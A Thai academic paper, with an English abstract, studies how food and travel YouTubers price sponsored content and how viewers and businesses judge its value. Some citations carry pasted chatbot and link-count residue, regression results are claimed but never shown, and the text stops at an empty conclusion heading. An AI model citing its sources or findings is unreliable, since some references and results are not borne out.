การวิจัยนี้มีวัตถุประสงค์เพื่อศึกษากลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber ที่ผลิตคอนเทนต์ด้านอาหารและการท่องเที่ยว โดยมุ่ง  วิเคราะห์กลยุทธ์การกำหนดราคาที่ใช้จริง (Cost-based, Value-based, Competition-based) อีกทั้ง ศึกษาปัจจัยที่ผู้ประกอบการใช้เป็นเกณฑ์ในการพิจารณาลงทุน เช่น ต้นทุน–ประโยชน์ ความคุ้มค่า และผลลัพธ์ทางการตลาด (Awareness–Engagement–Conversion) ตลอดจน สำรวจการรับรู้ของผู้ชมต่อโฆษณาในคอนเทนต์ YouTube และ เพื่อเสนอแบบจำลองเบื้องต้นของการกำหนดราคาโฆษณา งานวิจัยใช้ระเบียบวิธีเชิงคุณภาพและปริมาณ โดยเก็บข้อมูลจากการสัมภาษณ์เชิงลึกกับ YouTuber ผู้ประกอบการ และผู้ชมประจำของช่องคอนเทนต์อาหารและท่องเที่ยว

 ผลการวิจัยพบว่า YouTuber ส่วนใหญ่ใช้กลยุทธ์ผสมผสานทั้ง 3 แบบ แต่แนวทาง Value-based Pricing มีความโดดเด่นมากขึ้น โดยเฉพาะในช่องที่มีฐานผู้ติดตามและความน่าเชื่อถือสูง ผู้ประกอบการให้ความสำคัญกับความคุ้มค่าต่อการลงทุน และผลลัพธ์ที่สะท้อนผ่านการสร้างการรับรู้ การมีส่วนร่วม และการเปลี่ยนเป็นการซื้อ ส่วนผู้ชมมองว่าความน่าเชื่อถือและความจริงใจของ YouTuber เป็นปัจจัยสำคัญที่ส่งผลต่อการรับรู้คุณค่าโฆษณาและการตัดสินใจบริโภค/ท่องเที่ยว  ผลการวิจัยมีคุณูปการทั้งเชิงทฤษฎีและปฏิบัติ ในเชิงทฤษฎี งานวิจัยช่วยขยายความเข้าใจการประยุกต์ใช้ ทฤษฎีกลยุทธ์การกำหนดราคา ทฤษฎีคุณค่าที่ผู้บริโภครับรู้ และ แนวคิด Influencer Marketing ในบริบทดิจิทัลของประเทศไทย ในเชิงปฏิบัติ ผลการศึกษาเสนอแนวทางให้ YouTuber สร้างสมดุลระหว่างเรทราคาและความจริงใจของคอนเทนต์ ผู้ประกอบการใช้เกณฑ์การตัดสินใจที่สะท้อนความคุ้มค่า และผู้ชมตระหนักรู้ในการบริโภคสื่ออย่างมีวิจารณญาณ ทั้งนี้ งานวิจัยยังได้เสนอ แบบจำลองการกำหนดราคาโฆษณาเบื้องต้น ที่บูรณาการระหว่างต้นทุน ผลประโยชน์ทางการตลาด และการยอมรับของผู้ชม

คำสำคัญ: YouTube, กลยุทธ์การกำหนดราคา, Influencer Marketing, คอนเทนต์อาหารและท่องเที่ยว, คุณค่าโฆษณา, พฤติกรรมผู้บริโภค

Abstract

This research aims to investigate the advertising rate-setting strategies of YouTubers producing food and travel content. The objectives are: (1) to analyze the pricing strategies applied in practice (Cost-based, Value-based, and Competition-based), (2) to examine the criteria entrepreneurs consider when investing, such as cost–benefit, value for money, and marketing outcomes (Awareness–Engagement–Conversion), (3) to explore audience perceptions of advertising in YouTube content, and (4) to propose a preliminary model of advertising rate-setting.

              The study employed a qualitative and Quantitative methodology, collecting data through in-depth interviews with YouTubers, entrepreneurs, and regular viewers of food and travel channels. The findings reveal that most YouTubers adopt a combination of strategies, yet Value-based Pricing stands out, especially for channels with large follower bases and strong credibility. Entrepreneurs emphasize the importance of returning on investment and outcomes in terms of awareness, engagement, and conversion. Meanwhile, viewers highlight credibility and authenticity as key factors influencing perceived advertising value and decision-making behavior.

The results contribute both theoretically and practically. Theoretically, the study extends the understanding of Pricing Strategy Theory, Perceived Value Theory, and Influencer Marketing in the Thai digital context. Practically, it suggests guidelines for YouTubers to balance rates with authenticity, for entrepreneurs to adopt value-reflective decision-making, and for viewers to consume media critically. Furthermore, the research proposes a preliminary advertising rate-setting model that integrates cost, marketing benefits, and consumer perceptions.

Keywords: YouTube, pricing strategy, influencer marketing, food and travel content, advertising value, consumer behavior
1. บทนำ

ในยุคดิจิทัล YouTube ได้กลายเป็นแพลตฟอร์มสำคัญที่มีอิทธิพลต่อพฤติกรรมผู้บริโภคและการตลาด โดยเฉพาะอย่างยิ่งในประเทศไทยที่มีผู้ใช้งาน YouTube สูงติดอันดับต้น ๆ ของโลก (Google, 2023) การขยายตัวของ Influencer Marketing ทำให้ผู้ประกอบการจำนวนมากหันมาใช้ YouTuber เป็นสื่อกลางในการสร้างการรับรู้ การมีส่วนร่วม และการกระตุ้นการซื้อหรือการท่องเที่ยว ซึ่งช่องคอนเทนต์ที่เน้น “อาหารและการท่องเที่ยว” ถือเป็นกลุ่มที่ได้รับความนิยมอย่างต่อเนื่อง เนื่องจากสามารถสะท้อนทั้งประสบการณ์เชิงรสชาติและวัฒนธรรมที่สอดคล้องกับวิถีชีวิตของผู้บริโภคไทยซึ่งแน่นอนในยุคปัจจุบันYouTube เป็นแพลตฟอร์มหลักที่เชื่อมโยงทุกองค์ประกอบเข้าด้วยกัน โดยทำหน้าที่เป็นเวทีให้ Influencer Marketing (การตลาดแบบใช้ผู้มีอิทธิพล) สามารถเข้าถึงผู้ชมได้อย่างกว้างขวางและมีประสิทธิภาพ การกำหนด กลยุทธ์การกำหนดราคา บน YouTube จึงไม่ใช่แค่การตั้งราคาแบบเหมาจ่าย แต่เป็นการประเมิน คุณค่าโฆษณา ที่แท้จริงจากปัจจัยเชิงคุณภาพมากกว่าเชิงปริมาณและอีกด้านหนึ่งของความสัมพันธ์ที่สำคัญคือการที่ผู้ประกอบการไม่ได้มองแค่มูลค่าจากยอดผู้ติดตามหรือยอดดู แต่ให้ความสำคัญกับ Engagement Rate (อัตราการมีส่วนร่วม) และ Personal Branding (การสร้างแบรนด์ส่วนบุคคล) ของ YouTuber โดยเฉพาะในกลุ่ม คอนเทนต์อาหารและท่องเที่ยว ซึ่งต้องอาศัยความน่าเชื่อถือและความจริงใจในการรีวิวสูงมาก การที่ YouTuber แสดงให้เห็นถึงประสบการณ์จริงจะส่งผลโดยตรงต่อความน่าเชื่อถือของโฆษณา

ดังนั้นกลยุทธ์การกำหนดราคาจึงถูกพัฒนาให้สะท้อนถึงคุณค่าที่แท้จริงเหล่านี้ เช่น การใช้รูปแบบราคาแบบยืดหยุ่นหรือการแบ่งส่วนรายได้ที่อิงตามประสิทธิภาพของแคมเปญจริง ไม่ใช่แค่ยอดวิวที่สูงแต่ไม่ก่อให้เกิดผลลัพธ์ สิ่งเหล่านี้ส่งผลต่อ พฤติกรรมผู้บริโภค โดยตรง ผู้ชมมีความฉลาดในการรับรู้โฆษณามากขึ้นและมีแนวโน้มที่จะเชื่อถือและตัดสินใจตามการแนะนำของ YouTuber ที่พวกเขารู้สึกว่ามีความจริงใจและเป็นธรรมชาติมากกว่าการโฆษณาแบบดั้งเดิมที่เน้นแต่การขายสรุปได้ว่า ทุกองค์ประกอบมีความเชื่อมโยงกันอย่างเป็นระบบ โดย YouTube ทำหน้าที่เป็นโครงสร้างพื้นฐาน กลยุทธ์การกำหนดราคาเป็นกลไกขับเคลื่อน Influencer Marketing เป็นเครื่องมือหลัก ส่วนคอนเทนต์อาหารและการท่องเที่ยวเป็นตัวกลางที่สร้างมูลค่าผ่านความน่าเชื่อถือ ซึ่งทั้งหมดนี้มีเป้าหมายสุดท้ายคือการเปลี่ยนแปลงพฤติกรรมของผู้บริโภคได้อย่างมีประสิทธิภาพ

อย่างไรก็ตาม แม้การลงทุนโฆษณาผ่าน YouTuber จะเติบโตขึ้นอย่างมาก แต่ เกณฑ์การกำหนดเรทราคาโฆษณา (Advertising Rate) ยังคงเป็นประเด็นที่ซับซ้อน เนื่องจากไม่มีมาตรฐานตายตัว ราคามักขึ้นอยู่กับหลายปัจจัย เช่น จำนวนผู้ติดตาม (Subscribers), จำนวนการเข้าชม (Views), อัตราการมีส่วนร่วม (Engagement Rate) และภาพลักษณ์ของผู้สร้างคอนเทนต์ (Influencer’s Credibility) ทั้งนี้ ปรากฏการณ์ดังกล่าวทำให้เกิดคำถามว่า YouTuber กำหนดราคาโฆษณาอย่างไร และผู้ประกอบการมองความคุ้มค่าในการลงทุนอย่างไร  งานวิจัยในต่างประเทศ (เช่น Keller & Fay, 2022; Liu, 2021) ชี้ให้เห็นว่า การกำหนดราคา Influencer Ads มักเชื่อมโยงกับทฤษฎีการกำหนดราคา (Pricing Strategies) ได้แก่ Cost-based, Value-based และ Competition-based ขณะเดียวกัน ทฤษฎี Perceived Value Theory อธิบายว่าผู้บริโภคและผู้ว่าจ้างตัดสินใจลงทุนก็ต่อเมื่อมองเห็นคุณค่าที่สูงกว่าต้นทุน ขณะที่แนวคิด Influencer Marketing ชี้ให้เห็นบทบาทของความน่าเชื่อถือและความใกล้ชิดกับผู้ชมในการสร้างผลลัพธ์ที่มีประสิทธิภาพ

            ในบริบทไทย การศึกษายังมีจำกัด โดยเฉพาะในหมวด คอนเทนต์กินและท่องเที่ยว ซึ่งมีลักษณะเฉพาะ เช่น การสะท้อนวัฒนธรรมการบริโภคอาหารและการท่องเที่ยวที่เป็นเอกลักษณ์ รวมถึงความนิยมในการติดตามรีวิวสถานที่ท่องเที่ยวและร้านอาหารผ่าน YouTube งานวิจัยนี้จึงมีความสำคัญในการอธิบาย กลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber ทั้งจากมุมมองผู้สร้างคอนเทนต์ ผู้ประกอบการ และผู้ชม เพื่อสร้างความเข้าใจที่เป็นระบบและนำไปสู่การพัฒนารูปแบบที่เหมาะสมโดยมีวัตถุประสงค์ของการวิจัยดังนี้ เพื่อศึกษากลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber ช่องคอนเทนต์กินและท่องเที่ยว และเพื่อวิเคราะห์ปัจจัยที่ผู้ประกอบการใช้ในการพิจารณาความคุ้มค่าในการลงทุนโฆษณา อีกทั้งเพื่อศึกษาการรับรู้ของผู้ชมที่มีต่อคอนเทนต์กินและท่องเที่ยวและผลที่มีต่อพฤติกรรมการบริโภค/การท่องเที่ยวและตลอดจน เพื่อเสนอรูปแบบเบื้องต้นของการกำหนดเรทราคาโฆษณาที่เหมาะสมกับบริบทไทย

2 แนวคิดทฤษฏีและงานวิจัยที่เกี่ยวข้อง

ทฤษฎีการกำหนดราคา (Pricing Strategies Theory) การกำหนดราคาถือเป็นองค์ประกอบสำคัญของกลยุทธ์ทางการตลาด โดยทั่วไปแบ่งออกเป็น 3 แนวทางหลัก (Kotler & Keller, 2020) 1) การกำหนดราคาตามต้นทุน (Cost-based Pricing) เป็นการกำหนดราคาโดยพิจารณาต้นทุนการผลิตหรือการสร้างสรรค์คอนเทนต์เป็นหลัก แล้วบวกอัตรากำไรที่ต้องการ ในบริบทของ YouTuber อาจรวมถึงต้นทุนการถ่ายทำ อุปกรณ์ ทีมงาน และค่าใช้จ่ายอื่น ๆ อย่างไรก็ตาม จุดอ่อนของวิธีนี้คืออาจไม่สะท้อนคุณค่าที่แท้จริงของการเข้าถึงผู้ชม 2) การกำหนดราคาตามคุณค่าที่รับรู้ (Value-based Pricing) อิงจากทฤษฎี Perceived Value Theory (Zeithaml, 1988) ที่ระบุว่าผู้บริโภคตัดสินใจจ่ายก็ต่อเมื่อรับรู้ว่าประโยชน์หรือคุณค่าที่ได้รับสูงกว่าต้นทุน สำหรับ YouTuber ช่องกินและท่องเที่ยว คุณค่าที่รับรู้มักอยู่ที่การสร้างภาพลักษณ์แบรนด์ ความน่าเชื่อถือ และผลกระทบเชิงพฤติกรรมของผู้ชม 3) การกำหนดราคาตามการแข่งขัน (Competition-based Pricing)เน้นการเปรียบเทียบกับคู่แข่งในตลาด เช่น ช่อง YouTube ที่มีจำนวนผู้ติดตามใกล้เคียงกัน โดยปรับราคาให้แข่งขันได้ งานวิจัยของ Liu (Marketing / You can also say “Influencer” or “Influencer Marketing ผู้สร้างคอนเทนต์จำนวนมากใช้กลยุทธ์นี้เพื่อไม่ให้เสียเปรียบทางการตลาด

 ทฤษฎีคุณค่าที่รับรู้ (Perceived Value Theory)ทฤษฎีนี้อธิบายว่าความคุ้มค่าของสินค้าและบริการขึ้นอยู่กับการรับรู้ของผู้บริโภค โดยในบริบท YouTuber การรับรู้คุณค่าไม่ได้จำกัดแค่ราคาที่ผู้ประกอบการจ่าย แต่ยังรวมถึงความสามารถในการสร้างการรับรู้แบรนด์ (Brand Awareness) การมีส่วนร่วม (Engagement) และการกระตุ้นการซื้อหรือการท่องเที่ยว (Conversion) งานวิจัยของ Keller & Fay (2022) ยืนยันว่า Influencer ที่มีภาพลักษณ์น่าเชื่อถือและใกล้ชิดกับผู้ชมจะสร้างคุณค่าที่สูงกว่าการโฆษณาแบบดั้งเดิม

แนวคิดการตลาดผ่านผู้มีอิทธิพล (Influencer Marketing) แนวคิด Influencer Marketing อธิบายถึงบทบาทของผู้มีอิทธิพลในการสื่อสารการตลาด โดยอิงจากทฤษฎี Source Credibility (Hovland & Weiss, 1951) ที่เน้นความน่าเชื่อถือ ความเชี่ยวชาญ และความน่าดึงดูดใจ ซึ่งเป็นปัจจัยที่ส่งผลต่อการโน้มน้าวผู้ชม งานวิจัยในต่างประเทศ เช่น Djafarova & Rushworth (2017) พบว่า Influencer บน YouTube มีผลโดยตรงต่อความตั้งใจซื้อของผู้บริโภค  แสดงให้เห็นว่าผู้บริโภคเชื่อถือรีวิวจาก YouTuber ด้านอาหารและท่องเที่ยวมากกว่าการโฆษณาเชิงพาณิชย์ การสื่อสารการตลาดผ่านผู้มีอิทธิพล (Influencer Marketing) หมายถึง กลยุทธ์ทางการตลาดที่องค์กรหรือแบรนด์ใช้ผู้ที่มีอิทธิพลบนสื่อสังคมออนไลน์ (Social Media Influencers) เพื่อเป็นสื่อกลางในการส่งสารทางการตลาดไปยังกลุ่มเป้าหมาย โดยอาศัยความน่าเชื่อถือ ความไว้วางใจ และการมีส่วนร่วมของผู้ติดตาม (De Veirman et al., 2017) บทบาทของผู้มีอิทธิพลในระบบนิเวศการตลาดดิจิทัล ผู้มีอิทธิพลทำหน้าที่เป็น Opinion Leaders ในแพลตฟอร์มออนไลน์ โดยพวกเขาสามารถสร้างอิทธิพลต่อการรับรู้ ทัศนคติ และพฤติกรรมการตัดสินใจซื้อของผู้บริโภค งานของ Ki, Cuevas, Chong และ Lim (2020) เน้นว่าผู้บริโภคมักมองว่า Influencers มีความ “ใกล้ชิดและจริงใจ” มากกว่าการสื่อสารของแบรนด์โดยตรง ทำให้เกิดความไว้วางใจสูงกว่า มิติสำคัญของ Influencer Marketingความน่าเชื่อถือ (Credibility): ผู้ติดตามมีแนวโน้มที่จะรับสารจาก Influencers ที่พวกเขามองว่าน่าเชื่อถือและมีความเชี่ยวชาญ ความเป็นของแท้ (Authenticity): ความรู้สึกว่า Influencers ถ่ายทอดประสบการณ์จริง ไม่ใช่เพียงการโฆษณาแบบตรงไปตรงมา ส่งผลให้การโน้มน้าวมีพลังมากขึ้น (Audrezet, Kerviler, & Moulard, 2020) การมีส่วนร่วม (Engagement): การตอบกลับ แสดงความคิดเห็น และการมีปฏิสัมพันธ์ช่วยสร้างความสัมพันธ์ระหว่างผู้ติดตามกับแบรนด์ผ่านตัว Influencer การจับคู่กับแบรนด์ (Brand–Influencer Fit): ความสอดคล้องระหว่างภาพลักษณ์ของ Influencer และคุณค่าของแบรนด์มีผลต่อประสิทธิภาพของแคมเปญ

งานวิจัย Liu (2021) ศึกษากลยุทธ์ราคา Influencer พบว่า ผู้สร้างคอนเทนต์ส่วนใหญ่ผสมผสานกลยุทธ์ทั้ง Cost-based และ Value-based เพื่อสร้างความสมดุลระหว่างต้นทุนและคุณค่าKeller & Fay (2022) พบว่า Influencer Marketing มี ROI สูงกว่าโฆษณาดิจิทัลทั่วไปถึง 3 เท่า เนื่องจากสร้าง Engagement ได้มากกว่าในขณะที่ งานวิจัยเกี่ยวกับกลยุทธ์การกำหนดราคาโฆษณาบน YouTube บทความวิจัยเรื่อง “ประสิทธิผลของโฆษณายูทูปประเภทขายแฝงเทียบกับประเภทขายตรงระหว่างกลุ่มเป้าหมายที่กำหนด” โดยมีหัวข้อเกี่ยวกับการศึกษาว่าโฆษณาประเภทใดและกลุ่มเป้าหมายใดมีประสิทธิผลที่ดีกว่ากัน โดยวัดจากการมีปฏิสัมพันธ์ (Engagement) และการกระทำ (Conversion) ที่เกิดขึ้น (อ้างอิงจาก ThaiJO) งานวิจัยชิ้นนี้ชี้ให้เห็นว่า โฆษณาแฝงที่มีเนื้อหาให้ “คุณค่า” แก่ผู้รับชมจะสร้างปฏิสัมพันธ์ที่ดีกว่า ในขณะที่โฆษณาตรงที่มีวัตถุประสงค์ชัดเจนจะสร้างผลลัพธ์ที่ดีในด้านการกระทำ (Conversion) ซึ่งตอกย้ำว่าการกำหนดราคาโฆษณาควรคำนึงถึงประเภทของเนื้อหาและวัตถุประสงค์ของการโฆษณาเป็นสำคัญ อีกทั้ง งานวิจัยเกี่ยวกับ Influencer Marketing และความน่าเชื่อถือ บทความวิจัยและหนังสือของ Crystal Abidin  ผลงานในช่วงปี ค.ศ. 2023-2025 ของเธอ เช่น “The Matrix of Authenticity in Influencer Cultures” หรือหนังสือ “Influencer Marketing: Interdisciplinary and Socio-Cultural Perspectives” ผลงานของเธอเน้นย้ำว่า “ความน่าเชื่อถือ” (Authenticity) ของอินฟลูเอนเซอร์เป็นปัจจัยสำคัญที่ผู้ชมใช้ในการตัดสินใจรับชมและมีส่วนร่วมกับคอนเทนต์ เธอชี้ให้เห็นว่าอินฟลูเอนเซอร์ที่สามารถเชื่อมโยงและสร้างความรู้สึก “เป็นหนึ่งเดียว” ระหว่างชีวิตจริงกับตัวตนในโลกออนไลน์จะสามารถสร้างมูลค่าโฆษณาที่สูงกว่า ซึ่งไม่ใช่แค่เรื่องของตัวเลขผู้ติดตาม ตลอดจน แนวคิดเกี่ยวกับ ROI และปัจจัยเชิงคุณภาพในการตลาด บทความและงานเขียนของ . มาร์ค เชเฟอร์ Schaefer (2024). Medium+10Rec Therapy Today®+10Businesses Grow+10

 ผู้เชี่ยวชาญด้านการตลาดดิจิทัล ซึ่งในช่วงปี ค.ศ. 2024-2025 ได้มีการนำเสนอแนวคิดเกี่ยวกับ “การตลาดแบบมนุษย์” (Human-centric Marketing) และ “ความน่าเชื่อถือ” (Trust) ในฐานะสกุลเงินใหม่ของการตลาด เขาเน้นย้ำว่าในยุคที่เต็มไปด้วยข้อมูลปลอมและ AI ผู้คนจะหันมาเชื่อถือ “มนุษย์จริง ๆ” มากขึ้น ความสำเร็จของการตลาดไม่ได้วัดจากยอดดูที่สูงอย่างเดียว แต่มาจาก ความคุ้มค่าของการลงทุน (ROI) ที่วัดจากความน่าเชื่อถือที่ผู้บริโภคมีต่อตัวอินฟลูเอนเซอร์ ซึ่งมีผลต่อการตัดสินใจซื้อหรือใช้บริการในท้ายที่สุด

สรุปภาพรวมของเอกสารและงานวิจัยที่เกี่ยวข้อง จากการทบทวนแนวคิดและงานวิจัย พบว่า การกำหนดเรทราคาโฆษณาของ YouTuber เชื่อมโยงกับ ทฤษฎีการกำหนดราคา, ทฤษฎีคุณค่าที่รับรู้ และแนวคิด Influencer Marketing ขณะเดียวกัน งานวิจัยทั้งในและต่างประเทศยืนยันว่า ความคุ้มค่า ความน่าเชื่อถือ และผลลัพธ์เชิงพฤติกรรมของผู้ชม เป็นหัวใจสำคัญที่หล่อหลอมกระบวนการกำหนดราคาและการตัดสินใจของผู้ประกอบการ

3 วิธีการวิจัย

 รูปแบบการวิจัย งานวิจัยนี้ใช้รูปแบบ การวิจัยเชิงคุณภาพ (Qualitative Research) ผสมผสานกับ การวิจัยเชิงปริมาณ (Quantitative Research) ในลักษณะ วิธีวิจัยแบบผสม (Mixed Methods Research) โดย เชิงคุณภาพ: ใช้การสัมภาษณ์เชิงลึก (In-depth Interview) กับ YouTuber และผู้ประกอบการ เพื่อทำความเข้าใจบริบท กลยุทธ์ และเหตุผลที่อยู่เบื้องหลังการกำหนดราคา เชิงปริมาณ: ใช้แบบสอบถามออนไลน์เก็บข้อมูลจากผู้ชมที่ติดตามคอนเทนต์กินและท่องเที่ยวบน YouTube เพื่อสะท้อนการรับรู้ ความน่าเชื่อถือ และผลต่อพฤติกรรมการบริโภค/ท่องเที่ยวประชากรและกลุ่มตัวอย่าง ประชากร 1)YouTuber ที่ผลิตคอนเทนต์ด้านอาหารและท่องเที่ยวในประเทศไทย2) ผู้ประกอบการธุรกิจอาหารและท่องเที่ยวที่ใช้ YouTuber ในการประชาสัมพันธ์3)ผู้ชมที่ติดตามคอนเทนต์หมวดดังกล่าว กลุ่มตัวอย่าง1)YouTuber: คัดเลือกแบบเจาะจง (Purposive Sampling) จำนวน 5 ช่องที่มีผู้ติดตามเกิน 100,000 คน และมีประสบการณ์รับโฆษณา2)ผู้ประกอบการ: คัดเลือก 10 รายที่เคยลงโฆษณากับ YouTuber ในหมวดกินและท่องเที่ยว3)ผู้ชม: เก็บข้อมูลแบบสอบถาม 300 คน โดยใช้การสุ่มแบบสะดวก (Convenience Sampling) ผ่านแพลตฟอร์มออนไลน์เครื่องมือที่ใช้ในการวิจัย 1) แบบสัมภาษณ์กึ่งโครงสร้าง (Semi-structured Interview Guide) ครอบคลุมประเด็นกลยุทธ์การกำหนดราคา เหตุผลการเลือก YouTuber และประสบการณ์จริงในการโฆษณาแบบสอบถาม (Questionnaire) ประกอบด้วย 3 ส่วน1)ข้อมูลทั่วไปของผู้ตอบ2)การรับรู้ความน่าเชื่อถือและคุณค่าของโฆษณา3)ผลต่อพฤติกรรมการตัดสินใจบริโภค/ท่องเที่ยว การตรวจสอบคุณภาพเครื่องมือ1)เชิงคุณภาพ: ตรวจสอบความตรงเชิงเนื้อหา (Content Validity) โดยผู้ทรงคุณวุฒิ 3 ท่าน2)เชิงปริมาณ: ทดสอบความเชื่อมั่นของแบบสอบถาม (Reliability Test) ด้วยค่าสัมประสิทธิ์แอลฟาของครอนบาค (Cronbach’s Alpha) ซึ่งได้ค่ามากกว่า 0.70 แสดงถึงความน่าเชื่อถือของเครื่องมือ การเก็บรวบรวมข้อมูล1) ดำเนินการสัมภาษณ์เชิงลึก YouTuber และผู้ประกอบการแต่ละราย ใช้เวลาเฉลี่ย 45–60 นาที พร้อมบันทึกเสียงและถอดความ 2) แจกแบบสอบถามออนไลน์ผ่าน Google Forms ในกลุ่มผู้ชมที่ติดตามคอนเทนต์ YouTube หมวดกินและท่องเที่ยว ระหว่างเดือน สิงหาคม–ตุลาคม 2568 3) ตรวจสอบความครบถ้วนของข้อมูลก่อนนำไปวิเคราะห์ การวิเคราะห์ข้อมูล 1)ข้อมูลเชิงคุณภาพ: วิเคราะห์ด้วยวิธีการวิเคราะห์เชิงเนื้อหา (Content Analysis) จัดหมวดหมู่ตามประเด็น เช่น กลยุทธ์การกำหนดราคา ปัจจัยการพิจารณา และการรับรู้ของผู้ชม 2)ข้อมูลเชิงปริมาณ: วิเคราะห์ด้วยสถิติเชิงพรรณนา (Descriptive Statistics) เช่น ค่าเฉลี่ย ส่วนเบี่ยงเบนมาตรฐาน และสถิติอนุมาน (Inferential Statistics) เช่น การทดสอบความสัมพันธ์ (Correlation) และการวิเคราะห์ถดถอย (Regression Analysis) เพื่อทดสอบผลกระทบของความน่าเชื่อถือและคุณค่าโฆษณาต่อพฤติกรรมการบริโภค/ท่องเที่ยว

   สรุปวิธีการวิจัย การวิจัยครั้งนี้จึงใช้แนวทางแบบผสมผสาน เพื่อสะท้อนทั้งมิติ “เชิงลึก” ของผู้ให้บริการและผู้ประกอบการ และมิติ “เชิงกว้าง” ของผู้บริโภคที่รับชมคอนเทนต์ ผลลัพธ์ที่ได้จึงสามารถสะท้อนความจริงของตลาด Influencer Marketing ในหมวดคอนเทนต์กินและท่องเที่ยวได้อย่างรอบด้าน

 4 ผลการวิจัย

กลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuberผลการวิจัยพบว่า YouTuber ส่วนใหญ่ใช้ สามกลยุทธ์หลัก ได้แก่ Cost-based Pricing, Value-based Pricing และ Competition-based Pricing โดยผู้สร้างคอนเทนต์หน้าใหม่หรือมีผู้ติดตามระดับกลางนิยมใช้ Cost-based เพื่อครอบคลุมค่าใช้จ่ายพื้นฐาน เช่น ค่าเดินทาง ค่าอุปกรณ์ และการตัดต่อวิดีโอ (Nagle, Hogan, & Zale, 2016) ขณะที่ผู้ที่มีชื่อเสียงและมีอัตราการมีส่วนร่วมสูง มักใช้ Value-based เพื่อสะท้อนคุณค่าที่สามารถสร้างให้กับสปอนเซอร์ เช่น การเพิ่มการจดจำแบรนด์และยอดขาย นอกจากนี้ การแข่งขันในตลาดยังทำให้หลายช่องใช้ Competition-based Pricing โดยการตั้งราคาให้อยู่ในระดับที่ไม่สูงหรือต่ำจนเกินไปเมื่อเทียบกับคู่แข่งในกลุ่มเดียวกัน  ผลลัพธ์ดังกล่าวสอดคล้องกับแนวคิดของ Pricing Strategies Theory ที่ระบุว่ากลยุทธ์การตั้งราคามักผสมผสานทั้งปัจจัยต้นทุน คุณค่า และการแข่งขันในตลาด (Monroe, 2018; Kotler & Keller, 2016)

ปัจจัยที่ผู้ประกอบการใช้พิจารณาผู้ประกอบการที่ตัดสินใจเลือก YouTuber ให้ลงโฆษณามีการพิจารณาปัจจัยหลายมิติ โดยหลัก ๆ คือ ต้นทุน–ประโยชน์ (Cost–Benefit), ความคุ้มค่า (Perceived Value) และ ผลลัพธ์เชิงการตลาด (Awareness–Engagement–Conversion) (Smith, 2023; Chen & Dermawan, 2022) ตัวอย่างเช่น ร้านอาหารมักพิจารณาว่าเงินที่ลงทุนไปจะสามารถสร้างการรับรู้แบรนด์ (Awareness) หรือกระตุ้นให้ผู้ชมเข้ามาลองใช้บริการจริง (Conversion) ได้มากน้อยเพียงใด ขณะที่ธุรกิจท่องเที่ยวให้ความสำคัญกับ Engagement เช่น ยอดกดไลก์ แชร์ และคอมเมนต์ เพราะสะท้อนการมีส่วนร่วมของผู้ชมต่อคอนเทนต์มากกว่าตัวเลขผู้ติดตามเพียงอย่างเดียว ( Phua, Jin, & Kim, 2020)ดังนั้นการตัดสินใจลงทุนไม่ได้ขึ้นกับราคาอย่างเดียว แต่เน้น “ความคุ้มค่าเชิงกลยุทธ์” ที่สะท้อนผลตอบแทนที่แท้จริง

การรับรู้ของผู้ชมต่อคอนเทนต์กินและท่องเที่ยว ผลการวิจัยยืนยันว่า ผู้ชมให้ความสำคัญกับ ความน่าเชื่อถือของ YouTuber (Credibility) และ ความสอดคล้องของคอนเทนต์กับโฆษณา (Content–Ad Fit) อย่างมาก หากผู้ชมรับรู้ว่า YouTuber มีความจริงใจและมีการทดลองสินค้า/บริการจริง จะเพิ่มความไว้วางใจและยอมรับโฆษณาในคอนเทนต์ได้ง่ายขึ้น การรับรู้คุณค่าโฆษณา (Perceived Advertising Value) จึงเป็นกลไกสำคัญที่ทำให้ผู้ชมรู้สึกว่าโฆษณามีความเหมาะสมและมีประโยชน์ต่อการตัดสินใจ ยิ่งไปกว่านั้น งานวิจัยยังพบว่า ผู้ชมจำนวนไม่น้อยแสดงพฤติกรรมการ ตัดสินใจบริโภคหรือท่องเที่ยวตามคำแนะนำของ YouTuber โดยเฉพาะอย่างยิ่งเมื่อรีวิวนั้นสะท้อนประสบการณ์จริงและมีคุณภาพด้านภาพ/การเล่าเรื่อง ดังนั้น อิทธิพลของ YouTuber ต่อผู้ชมไม่ได้จำกัดเพียงการสร้างการรับรู้ แต่ยังส่งผลโดยตรงต่อการเปลี่ยนแปลงพฤติกรรมผู้บริโภคในเชิงการตัดสินใจ

โมเดลเบื้องต้นของการกำหนดราคาโฆษณาใน YouTuber สายกินและท่องเที่ยวจากการสังเคราะห์ผลการวิจัย พบว่าโมเดลการกำหนดราคาโฆษณาของ YouTuber ในหมวดกินและท่องเที่ยวควรอ้างอิง สามมิติหลัก ได้แก่ 1) ต้นทุนการผลิต (Production Costs) – ครอบคลุมค่าใช้จ่ายจริง เช่น การถ่ายทำ เดินทาง และตัดต่อ 2) คุณค่าที่สร้างให้แบรนด์ (Perceived Value for Sponsor) – การเพิ่มการรับรู้ การสร้างภาพลักษณ์ และการกระตุ้นยอดขาย 3) การยอมรับของผู้ชม (Audience Acceptance) – ความน่าเชื่อถือ ความจริงใจ และความเหมาะสมของโฆษณาต่อคอนเทนต์

ผลการวิจัยสะท้อนให้เห็นว่า กลยุทธ์การกำหนดราคาโฆษณาของ YouTuber ในหมวดกินและท่องเที่ยวมิได้พิจารณาเพียงต้นทุน แต่ยังเชื่อมโยงกับ คุณค่าที่รับรู้ (Perceived Value) และ สภาวะการแข่งขันในตลาด Influencer Marketing ขณะเดียวกัน ผู้ประกอบการก็ใช้เกณฑ์การพิจารณาที่อิงทั้งต้นทุน ผลลัพธ์ และความคุ้มค่า ส่วนผู้ชมเองมีบทบาทสำคัญในฐานะผู้รับสาร ที่การรับรู้และทัศนคติของพวกเขามีผลโดยตรงต่อพฤติกรรมการบริโภคและท่องเที่ยวจากการสังเคราะห์ สามารถเสนอ แนวทางเบื้องต้นของโมเดลการกำหนดเรทราคาโฆษณาใน YouTube ได้ว่าต้องคำนึงถึง ต้นทุนการผลิต + คุณค่าที่สร้างให้แบรนด์ + ความเหมาะสมกับตลาด

5 สรุป อภิปรายผล

